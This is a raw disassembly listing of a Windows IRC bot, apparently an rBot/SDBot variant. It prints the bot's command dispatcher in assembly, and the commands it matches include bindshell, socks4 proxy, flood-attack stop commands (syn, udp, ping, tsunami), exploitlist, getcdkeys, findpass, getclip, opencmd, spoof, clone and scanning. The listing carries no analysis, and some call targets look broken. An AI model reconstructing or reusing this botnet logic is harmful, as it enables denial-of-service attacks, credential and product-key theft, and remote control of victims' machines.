; ---------------------------------------------------------------------------
loc_4026C3: ; CODE XREF: sub_401ACD+BB2j
; sub_401ACD+BB9j
mov eax, [ebp+arg_C]
cmp [eax], ebx
jnz short loc_4026FE
lea eax, [ebp+var_A0]
push 2
push eax
lea eax, [ebp+var_94]
push eax
call sub_41B5F0
lea eax, [ebp+var_94]
mov [ebp+var_92], bl
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417EEF
add esp, 18h
loc_4026FE: ; CODE XREF: sub_401ACD+BCBj
; sub_401ACD+BDFj ...
dec [ebp+arg_20]
sub [ebp+arg_C], 4
cmp [ebp+arg_20], ebx
jg loc_402657
lea eax, [ebp+esi+var_50]
mov [ebp+arg_20], 10h
mov edi, eax
loc_40271B: ; CODE XREF: sub_401ACD+C9Aj
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD_0 ; "$%d"
push eax
call sub_41B886
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41B900
add esp, 14h
test eax, eax
jz short loc_40275E
mov eax, [edi]
cmp eax, ebx
jz short loc_40275E
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417EEF
add esp, 0Ch
loc_40275E: ; CODE XREF: sub_401ACD+C76j
; sub_401ACD+C7Cj
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg short loc_40271B
mov [ebp+var_2C8], 1
loc_402773: ; CODE XREF: sub_401ACD+B02j
; sub_401ACD+B30j
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, byte_429094
jz short loc_40278C
cmp [ebp+var_2C8], ebx
jz loc_40297D
loc_40278C: ; CODE XREF: sub_401ACD+CB1j
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe ; "$me"
push edi
call sub_417EEF
lea eax, [ebp+var_C4]
push eax
push offset aUser_0 ; "$user"
push edi
call sub_417EEF
push [ebp+var_88]
push offset aChan ; "$chan"
push edi
call sub_417EEF
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40B08E
push eax
push offset aRndnick_0 ; "$rndnick"
push edi
call sub_417EEF
add esp, 40h
push [ebp+arg_14]
push offset aServer_1 ; "$server"
push edi
call sub_417EEF
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_41B900
add esp, 14h
loc_4027FE: ; CODE XREF: sub_401ACD+E29j
test eax, eax
jz loc_4028FB
push edi
push [ebp+arg_0]
call sub_41B900
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41B5F0
lea eax, [ebp+var_A0]
push offset asc_42CE10 ; ")"
push eax
call sub_41C0F4
add esp, 1Ch
cmp [ebp+var_A0], 30h
jl short loc_40284A
cmp [ebp+var_A0], 39h
jle short loc_402860
loc_40284A: ; CODE XREF: sub_401ACD+D72j
push 3
lea eax, [ebp+var_A0]
push offset a63 ; "63"
push eax
call sub_41B5F0
add esp, 0Ch
loc_402860: ; CODE XREF: sub_401ACD+D7Bj
lea eax, [ebp+var_A0]
push eax
call sub_41B779
test eax, eax
pop ecx
jle short loc_402886
lea eax, [ebp+var_A0]
push eax
call sub_41B779
pop ecx
mov [ebp+var_94], al
jmp short loc_40289A
; ---------------------------------------------------------------------------
loc_402886: ; CODE XREF: sub_401ACD+DA2j
call sub_41B8E2
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_94], dl
loc_40289A: ; CODE XREF: sub_401ACD+DB7j
lea eax, [ebp+var_A0]
mov [ebp+var_93], bl
push eax
call sub_41AFE0
mov [ebp+arg_20], eax
push 0Ch
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41B590
mov eax, [ebp+arg_20]
add eax, 6
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_10]
push eax
call sub_41B5F0
lea eax, [ebp+var_94]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417EEF
push edi
push [ebp+arg_0]
call sub_41B900
add esp, 30h
jmp loc_4027FE
; ---------------------------------------------------------------------------
loc_4028FB: ; CODE XREF: sub_401ACD+D33j
mov edi, 1FFh
lea eax, [ebp+var_4488]
push edi
push [ebp+arg_0]
push eax
call sub_41B5F0
lea eax, [ebp+var_4488]
push edi
push eax
lea eax, [ebp+var_4AF0]
push eax
call sub_41B5F0
lea eax, [ebp+var_4AF0]
push offset asc_42D124 ; " "
push eax
call sub_41C0F4
add esp, 20h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+arg_10], 1Fh
loc_40294B: ; CODE XREF: sub_401ACD+E93j
push offset asc_42D124 ; " "
push ebx
call sub_41C0F4
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+arg_10]
pop ecx
jnz short loc_40294B
mov ecx, [ebp+esi+var_90]
lea eax, [ebp+esi+var_90]
cmp ecx, ebx
jz loc_401E94
add ecx, 3
mov [eax], ecx
loc_40297D: ; CODE XREF: sub_401ACD+CB9j
mov edi, [ebp+esi+var_90]
push edi
push offset aRndnick ; "rndnick"
mov [ebp+arg_8], edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409803
push edi
push offset aRn ; "rn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409803
push edi
push offset aDie ; "die"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4049FD
push edi
push offset aD ; "d"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4049FD
push edi
push offset aLogout ; "logout"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404955
push edi
push offset aLo ; "lo"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404955
push edi
push offset aVersion ; "version"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404946
push edi
push offset aVer ; "ver"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404946
push edi
push offset aDedication ; "dedication"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40493C
push edi
push offset aDed ; "ded"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40493C
push edi
push offset aSpeedtest ; "speedtest"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404923
push edi
push offset aSt ; "st"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404923
push edi
push offset aSecure ; "secure"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404825
push edi
push offset aSec ; "sec"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404825
push edi
push offset aUnsecure ; "unsecure"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404825
push edi
push offset aUnsec ; "unsec"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404825
push edi
push offset aBindshell ; "bindshell"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40471F
push edi
push offset aBd ; "bd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40471F
push edi
push offset aBindshellstop ; "bindshellstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402B41
push [ebp+esi+var_8C]
push 6
push offset aServer_0 ; "Server"
push offset dword_42CD64
loc_402B25: ; CODE XREF: sub_401ACD+10C2j
; sub_401ACD+10E8j ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B385
add esp, 20h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_402B41: ; CODE XREF: sub_401ACD+1043j
push edi
push offset aSocks4 ; "socks4"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045FD
push edi
push offset aS4 ; "s4"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045FD
push edi
push offset aSocks4stop ; "socks4stop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402B91
push [ebp+esi+var_8C]
push 19h
push offset aServer_0 ; "Server"
push offset dword_42CD3C
jmp short loc_402B25
; ---------------------------------------------------------------------------
loc_402B91: ; CODE XREF: sub_401ACD+10ADj
push edi
push offset aRloginstop ; "rloginstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402BBA
push [ebp+esi+var_8C]
push 9
push offset aServer_0 ; "Server"
push offset dword_42CD20
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402BBA: ; CODE XREF: sub_401ACD+10D3j
push edi
push offset aHttpstop ; "httpstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402BE3
push [ebp+esi+var_8C]
push 3
push offset aServer_0 ; "Server"
push offset dword_42CD04
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402BE3: ; CODE XREF: sub_401ACD+10FCj
push edi
push offset aLogstop ; "logstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402C0C
push [ebp+esi+var_8C]
push 25h
push offset dword_42CCF0
push offset dword_42CCE4
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402C0C: ; CODE XREF: sub_401ACD+1125j
push edi
push offset aRedirectstop ; "redirectstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402C35
push [ebp+esi+var_8C]
push 18h
push offset dword_42CCC4
push offset dword_42CCB4
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402C35: ; CODE XREF: sub_401ACD+114Ej
push edi
push offset dword_42CCA8
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402C5E
push [ebp+esi+var_8C]
push 0Dh
push offset dword_42CC9C
push offset dword_42CC90
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402C5E: ; CODE XREF: sub_401ACD+1177j
push edi
push offset aSynstop ; "synstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402C87
push [ebp+esi+var_8C]
push 0Eh
push offset dword_42CC7C
push offset dword_42CC70
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402C87: ; CODE XREF: sub_401ACD+11A0j
push edi
push offset aSkysynstop ; "skysynstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402CB0
push [ebp+esi+var_8C]
push 10h
push offset dword_42CC54
push offset dword_42CC44
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402CB0: ; CODE XREF: sub_401ACD+11C9j
push edi
push offset aTarga3stop ; "targa3stop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402CD9
push [ebp+esi+var_8C]
push 11h
push offset dword_42CC28
push offset dword_42CC18
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402CD9: ; CODE XREF: sub_401ACD+11F2j
push edi
push offset aWonkstop ; "wonkstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402D02
push [ebp+esi+var_8C]
push 12h
push offset dword_42CC00
push offset dword_42CBF4
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402D02: ; CODE XREF: sub_401ACD+121Bj
push edi
push offset aPacketstop ; "packetstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_402E58
mov esi, [ebp+esi+var_8C]
mov edi, [ebp+arg_4]
push esi
push 0Dh
push offset dword_42CC9C
push offset dword_42CC90
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B385
push esi
push 0Eh
push offset dword_42CC7C
push offset dword_42CC70
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B385
add esp, 40h
push esi
push 17h
push offset dword_42CBDC
push offset dword_42CBD0
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B385
push esi
push 16h
push offset dword_42CBC4
push offset dword_42CBB8
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B385
add esp, 40h
push esi
push 11h
push offset dword_42CC28
push offset dword_42CC18
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B385
push esi
push 12h
push offset dword_42CC00
push offset dword_42CBF4
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B385
add esp, 40h
push esi
push 0Fh
push offset dword_42CBA8
push offset dword_42CB98
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B385
push esi
push 13h
push offset dword_42CB88
push offset dword_42CB78
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B385
add esp, 40h
push esi
push 10h
push offset dword_42CC54
push offset dword_42CC44
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B385
push ebx
push [ebp+var_4]
push offset unk_42CB44
push [ebp+var_88]
push edi
call sub_409A73
add esp, 34h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_402E58: ; CODE XREF: sub_401ACD+1244j
push edi
push offset aTsunamistop ; "tsunamistop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402E81
push [ebp+esi+var_8C]
push 0Fh
push offset dword_42CBA8
push offset dword_42CB98
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402E81: ; CODE XREF: sub_401ACD+139Aj
push edi
push offset aWisdomstop ; "wisdomstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402EAA
push [ebp+esi+var_8C]
push 13h
push offset dword_42CB88
push offset dword_42CB78
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402EAA: ; CODE XREF: sub_401ACD+13C3j
push edi
push offset aUdpstop ; "udpstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402ED3
push [ebp+esi+var_8C]
push 17h
push offset dword_42CBDC
push offset dword_42CBD0
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402ED3: ; CODE XREF: sub_401ACD+13ECj
push edi
push offset aPingstop ; "pingstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402EFC
push [ebp+esi+var_8C]
push 16h
push offset dword_42CBC4
push offset dword_42CBB8
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402EFC: ; CODE XREF: sub_401ACD+1415j
push edi
push offset aTftpstop ; "tftpstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402F25
push [ebp+esi+var_8C]
push 5
push offset aServer_0 ; "Server"
push offset dword_42CAFC
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402F25: ; CODE XREF: sub_401ACD+143Ej
push edi
push offset aFindfilestop ; "findfilestop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045E5
push edi
push offset aFfstop ; "ffstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045E5
push edi
push offset aProcsstop ; "procsstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045CD
push edi
push offset aPsstop ; "psstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045CD
push edi
push offset aClonestop ; "clonestop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402FA2
push [ebp+esi+var_8C]
push 1Fh
push offset aClone ; "Clone"
push offset dword_42CAAC
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402FA2: ; CODE XREF: sub_401ACD+14BBj
push edi
push offset aSecurestop ; "securestop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402FCB
push [ebp+esi+var_8C]
push 22h
push offset aSecure_0 ; "Secure"
push offset dword_42CA88
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402FCB: ; CODE XREF: sub_401ACD+14E4j
push edi
push offset aScanstop ; "scanstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402FF4
push [ebp+esi+var_8C]
push 0Bh
push offset aScan_0 ; "Scan"
push offset dword_42CA68
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402FF4: ; CODE XREF: sub_401ACD+150Dj
push edi
push offset aScanstats ; "scanstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045B7
push edi
push offset aStats ; "stats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045B7
push edi
push offset aTransferstats ; "transferstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045A1
push edi
push offset aTrstats ; "trstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045A1
push edi
push offset aConnectbacksta ; "connectbackstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40458B
push edi
push offset aCbstats ; "cbstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40458B
push edi
push offset aExploitlist ; "exploitlist"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404575
push edi
push offset aExplist ; "explist"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404575
push edi
push offset aReconnect ; "reconnect"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404556
push edi
push offset aR ; "r"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404556
push edi
push offset aDisconnect ; "disconnect"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404534
push edi
push offset aDc ; "dc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404534
push edi
push offset aQuit_0 ; "quit"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044EC
push edi
push offset aQ ; "q"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044EC
push edi
push offset aStatus ; "status"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044D8
push edi
push offset aS_0 ; "s"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044D8
push edi
push offset aId ; "id"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044A1
push edi
push offset aI ; "i"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044A1
push edi
push offset aReboot ; "reboot"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4031C0
call sub_418338
test eax, eax
mov eax, offset unk_42C9A4
jnz short loc_403192
mov eax, offset unk_42C97C
loc_403192: ; CODE XREF: sub_401ACD+16BEj
push eax
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 1Ch
jmp loc_4083BD
; ---------------------------------------------------------------------------
loc_4031C0: ; CODE XREF: sub_401ACD+16B0j
push edi
push offset aThreads ; "threads"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4043C2
push edi
push offset aT ; "t"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4043C2
push edi
push offset aAliases ; "aliases"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40439F
push edi
push offset aAl ; "al"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40439F
push edi
push offset aLog ; "log"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4042AC
push edi
push offset aLg ; "lg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4042AC
push edi
push offset aClearlog ; "clearlog"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404293
push edi
push offset aClg ; "clg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404293
push edi
push offset aNetinfo ; "netinfo"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404259
push edi
push offset aNi ; "ni"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404259
push edi
push offset aSysinfo ; "sysinfo"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40422E
push edi
push offset aSi ; "si"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40422E
push edi
push offset aLsp100 ; "lsp100"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4041F4
push edi
push offset aLsp100 ; "lsp100"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4041F4
push edi
push offset aProcs ; "procs"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4040D1
push edi
push offset aPs ; "ps"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4040D1
push edi
push offset aGetcdkeys ; "getcdkeys"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4040B3
push edi
push offset aKey ; "key"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4040B3
push edi
push offset aUptime ; "uptime"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40402B
push edi
push offset aUp ; "up"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40402B
push edi
push offset aDriveinfo ; "driveinfo"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40400E
push edi
push offset aDrv ; "drv"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40400E
push edi
push offset aTestdlls ; "testdlls"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403FF5
push edi
push offset aDll ; "dll"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403FF5
push edi
push offset aOpencmd ; "opencmd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403FB6
push edi
push offset aOcmd ; "ocmd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403FB6
push edi
push offset aCmdstop ; "cmdstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40340B
push [ebp+esi+var_8C]
push 0Ah
push offset dword_42C8BC
push offset dword_42C8B0
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_40340B: ; CODE XREF: sub_401ACD+1924j
push edi
push offset dword_42C8AC
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_403528
cmp [ebp+var_8], ebx
jnz short loc_40343F
push ebx
push [ebp+var_4]
push offset dword_42C898
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
loc_40343F: ; CODE XREF: sub_401ACD+1956j
mov eax, [ebp+arg_18]
mov [ebp+arg_20], ebx
mov [ebp+arg_18], eax
jmp short loc_40344D
; ---------------------------------------------------------------------------
loc_40344A: ; CODE XREF: sub_401ACD+19CCj
mov eax, [ebp+arg_18]
loc_40344D: ; CODE XREF: sub_401ACD+197Bj
cmp [eax], bl
jz short loc_403454
inc eax
jmp short loc_403459
; ---------------------------------------------------------------------------
loc_403454: ; CODE XREF: sub_401ACD+1982j
mov eax, offset aEmpty ; "<Empty>"
loc_403459: ; CODE XREF: sub_401ACD+1985j
push eax
lea eax, [ebp+var_2C4]
push [ebp+arg_20]
push offset aD_S ; "%d. %s"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add [ebp+arg_18], 80h
add esp, 24h
inc [ebp+arg_20]
cmp [ebp+arg_20], 3
jl short loc_40344A
push offset unk_42C864
call sub_4151AD
pop ecx
loc_4034A6: ; CODE XREF: sub_401ACD+1C5Bj
; sub_401ACD+2F44j
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_401E94
push edi
push offset aSpoof ; "spoof"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_404AF5
mov esi, [ebp+arg_10]
push offset aOff ; "off"
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_404A23
lea eax, [ebp+var_2C4]
push offset unk_42C830
push eax
mov dword_4CEE08, ebx
call sub_41B886
pop ecx
pop ecx
loc_4034FE: ; CODE XREF: sub_401ACD+3023j
cmp [ebp+var_8], ebx
jnz loc_409855
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
loc_403520: ; CODE XREF: sub_401ACD+7119j
add esp, 14h
jmp loc_409855
; ---------------------------------------------------------------------------
loc_403528: ; CODE XREF: sub_401ACD+194Dj
push edi
push offset aGetclip ; "getclip"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F75
push edi
push offset aGc ; "gc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F75
push edi
push offset aFlusharp ; "flusharp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F5E
push edi
push offset aFarp ; "farp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F5E
push edi
push offset aFlushdns ; "flushdns"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F26
push edi
push offset aFdns ; "fdns"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F26
push edi
push offset aCurrentip ; "currentip"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403EEC
push edi
push offset aCip ; "cip"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403EEC
push edi
push offset aRloginserver ; "rloginserver"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403DB1
push edi
push offset aRlogin ; "rlogin"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403DB1
push edi
push offset aHttpserver ; "httpserver"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403C25
push edi
push offset aHttp ; "http"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403C25
push edi
push offset aTftpserver ; "tftpserver"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403AEB
push edi
push offset aTftp ; "tftp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403AEB
push edi
push offset aCrash ; "crash"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4036B4
lea eax, [ebp+var_2C4]
push offset dword_42C788
push eax
call sub_41B886
cmp [ebp+var_8], ebx
pop ecx
pop ecx
jnz short loc_403693
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
loc_403693: ; CODE XREF: sub_401ACD+1BA8j
lea eax, [ebp+var_2C4]
push eax
call sub_4151AD
mov [esp+10h+var_10], offset aCrash ; "crash"
push [ebp+esi+var_7C]
call sub_41C070
jmp loc_40207C
; ---------------------------------------------------------------------------
loc_4036B4: ; CODE XREF: sub_401ACD+1B90j
push edi
push offset aAsc ; "asc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4037E7
push edi
push offset aSa ; "sa"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4037E7
push edi
push offset aPhonehome ; "phonehome"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_403708
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
push [ebp+arg_4]
call sub_409A2D
jmp loc_401F52
; ---------------------------------------------------------------------------
loc_403708: ; CODE XREF: sub_401ACD+1C20j
push edi
push offset aFindpass ; "findpass"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_40372E
push edi
push offset aFp ; "fp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4034A6
loc_40372E: ; CODE XREF: sub_401ACD+1C4Aj
push [ebp+var_88]
lea eax, [ebp+var_F54]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_F58], eax
mov eax, [ebp+var_4]
mov [ebp+var_ED0], eax
mov eax, [ebp+var_8]
mov [ebp+var_ECC], eax
push offset unk_42C71C
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 26h
push eax
call sub_40B0F7
add esp, 18h
mov [ebp+var_ED4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_F58]
push ebx
push eax
push offset sub_416F1B
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, [ebp+var_ED4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_4037D6
loc_4037C0: ; CODE XREF: sub_401ACD+1D07j
cmp [ebp+var_EC8], ebx
jnz loc_4083BD
push 32h
nop
call near ptr 2680000h
jmp short loc_4037C0
; ---------------------------------------------------------------------------
loc_4037D6: ; CODE XREF: sub_401ACD+1CF1j
call near ptr 2680ABEh
nop
push eax
push offset unk_42C6E0
jmp loc_4083AE
; ---------------------------------------------------------------------------
loc_4037E7: ; CODE XREF: sub_401ACD+1BF6j
; sub_401ACD+1C0Bj
mov al, byte_431CE2
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_431CE2
jz loc_401E94
mov ecx, edx
loc_4037FE: ; CODE XREF: sub_401ACD+1D39j
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_4037FE
cmp al, bl
jz loc_401E94
mov [ebp+arg_18], edx
mov esi, offset aF ; "#f"
loc_403818: ; CODE XREF: sub_401ACD+2009j
push 0Bh
call sub_40B33F
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
add eax, ecx
cmp eax, 1F4h
jle short loc_403867
push ecx
lea eax, [ebp+var_2C4]
push offset unk_42C6A0
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 20h
jmp loc_403ACD
; ---------------------------------------------------------------------------
loc_403867: ; CODE XREF: sub_401ACD+1D65j
or [ebp+var_730], 0FFFFFFFFh
cmp dword_431B00, ebx
mov [ebp+var_734], 64h
mov [ebp+var_748], 5
mov [ebp+var_744], 320h
mov [ebp+arg_0], ebx
jz short loc_4038D8
mov edi, offset dword_431B00
loc_40389C: ; CODE XREF: sub_401ACD+1DEDj
mov eax, [ebp+arg_18]
add eax, 0FFFFFFF6h
push eax
lea eax, [edi-28h]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4038BE
inc [ebp+arg_0]
add edi, 40h
